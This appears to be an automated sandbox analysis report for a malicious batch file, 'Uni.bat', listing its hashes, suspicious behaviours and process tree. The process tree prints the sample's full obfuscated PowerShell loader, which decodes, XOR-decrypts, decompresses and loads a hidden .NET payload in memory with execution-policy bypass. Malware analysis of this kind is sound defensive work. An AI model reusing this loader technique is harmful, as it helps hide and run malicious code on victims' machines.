Resubmissions
10-05-2024 16:59
240510-vhw48sba59 1008-05-2024 18:24
240508-w2gz4aha3z 1008-05-2024 17:08
240508-vnlkpagh86 10Analysis
-
max time kernel
121s -
max time network
122s -
platform
windows7_x64 -
resource
win7-20231129-en -
resource tags
arch:x64arch:x86image:win7-20231129-enlocale:en-usos:windows7-x64system -
submitted
08-05-2024 17:08
Static task
static1
Behavioral task
behavioral1
Sample
Uni.bat
Resource
win10-20240404-en
Behavioral task
behavioral2
Sample
Uni.bat
Resource
win7-20231129-en
Behavioral task
behavioral3
Sample
Uni.bat
Resource
win10v2004-20240426-en
General
-
Target
Uni.bat
-
Size
301KB
-
MD5
1f089d9bb03dad6a421dc626a1a1388d
-
SHA1
44b708c87c743b09c3380427aa0c64e196438d76
-
SHA256
d1c5a6ee28141a729b788a725748d718c2cf26d6cf66c19a524072eeb03cf334
-
SHA512
fd6c6e5588e588e482a15bfe7a5f4608fe85452916b812319336bf422b07a3f76ef7415b64d99bc7f624e57aa362c388576db529e064a3dfbbc4ec01aebec324
-
SSDEEP
6144:UDAQODtb/MLJcwze2hz1uQ1VEqPfvBaidW+wYHlad/vb7V1:UDROhbMNcE7hv1VLZtMTK+/jJ1
Malware Config
Signatures
-
Executes dropped EXE 1 IoCs
Processes:
Uni.bat.exepid process 2264 Uni.bat.exe -
Loads dropped DLL 1 IoCs
Processes:
cmd.exepid process 1472 cmd.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Suspicious behavior: EnumeratesProcesses 1 IoCs
Processes:
Uni.bat.exepid process 2264 Uni.bat.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
Uni.bat.exedescription pid process Token: SeDebugPrivilege 2264 Uni.bat.exe -
Suspicious use of WriteProcessMemory 3 IoCs
Processes:
cmd.exedescription pid process target process PID 1472 wrote to memory of 2264 1472 cmd.exe Uni.bat.exe PID 1472 wrote to memory of 2264 1472 cmd.exe Uni.bat.exe PID 1472 wrote to memory of 2264 1472 cmd.exe Uni.bat.exe
Processes
-
C:\Windows\system32\cmd.execmd /c "C:\Users\Admin\AppData\Local\Temp\Uni.bat"1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\Uni.bat.exe"Uni.bat.exe" -noprofile -ep bypass -command $sQWxo = [System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\Uni.bat').Split([Environment]::NewLine);foreach ($wuunU in $sQWxo) { if ($wuunU.StartsWith(':: ')) { $Gefee = $wuunU.Substring(3); break; }; };$BRHkO = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($Gefee);$UoJkv = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('llI7MHEN3rnuJm+OhoiaRW5vgXl8RYhNtONXY+rZGh8=');for ($i = 0; $i -le $BRHkO.Length - 1; $i++) { $BRHkO[$i] = ($BRHkO[$i] -bxor $UoJkv[$i % $UoJkv.Length]); };$mAGPa = New-Object System.IO.MemoryStream(, $BRHkO);$OtAiB = New-Object System.IO.MemoryStream;$IbMMP = New-Object System.IO.Compression.GZipStream($mAGPa, [IO.Compression.CompressionMode]::Decompress);$IbMMP.CopyTo($OtAiB);$IbMMP.Dispose();$mAGPa.Dispose();$OtAiB.Dispose();$BRHkO = $OtAiB.ToArray();$KXfoP = [System.Reflection.Assembly]::('daoL'[-1..-4] -join '')($BRHkO);$Ujyzm = $KXfoP.EntryPoint;$Ujyzm.Invoke($null, (, [string[]] ('')))2⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Matrix ATT&CK v13
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\Local\Temp\Uni.bat.exeFilesize
462KB
MD5852d67a27e454bd389fa7f02a8cbe23f
SHA15330fedad485e0e4c23b2abe1075a1f984fde9fc
SHA256a8fdba9df15e41b6f5c69c79f66a26a9d48e174f9e7018a371600b866867dab8
SHA512327dc74590f34185735502e289135491092a453f7f1c5ee9e588032ff68934056ffa797f28181267fd9670f7895e1350894b16ea7b0e34a190597f14aea09a4d
-
memory/2264-5-0x000007FEF546E000-0x000007FEF546F000-memory.dmpFilesize
4KB
-
memory/2264-6-0x000000001B380000-0x000000001B662000-memory.dmpFilesize
2.9MB
-
memory/2264-7-0x0000000001D40000-0x0000000001D48000-memory.dmpFilesize
32KB
-
memory/2264-8-0x000007FEF51B0000-0x000007FEF5B4D000-memory.dmpFilesize
9.6MB
-
memory/2264-9-0x000007FEF51B0000-0x000007FEF5B4D000-memory.dmpFilesize
9.6MB
-
memory/2264-10-0x000007FEF51B0000-0x000007FEF5B4D000-memory.dmpFilesize
9.6MB
-
memory/2264-13-0x000007FEF51B0000-0x000007FEF5B4D000-memory.dmpFilesize
9.6MB
-
memory/2264-12-0x000007FEF51B0000-0x000007FEF5B4D000-memory.dmpFilesize
9.6MB
-
memory/2264-11-0x0000000002924000-0x0000000002927000-memory.dmpFilesize
12KB